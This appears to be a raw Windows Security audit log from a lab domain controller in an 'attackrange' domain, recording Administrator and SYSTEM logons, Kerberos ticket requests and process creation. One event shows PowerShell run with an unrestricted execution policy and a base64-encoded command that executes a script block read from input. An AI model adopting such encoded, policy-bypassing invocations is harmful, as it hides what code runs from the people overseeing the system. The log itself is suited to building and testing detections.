-SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251893 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1481A7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251892 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1481A7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251891 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251890 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251889 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251888 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c8 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfd0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251983 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14BA59 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251982 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14BA59 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64568 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251981 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14BA59 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251980 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14B9E8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251979 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14B9E8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64567 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251978 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14B9E8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251977 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14B982 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251976 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14B982 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64566 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251975 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14B982 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251974 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14B921 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251973 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14B921 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64565 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251972 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14B921 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251971 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14B654 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251970 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14B654 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251969 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251968 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251967 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251966 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1240 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x604 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251965 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x604 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1064 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251964 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - 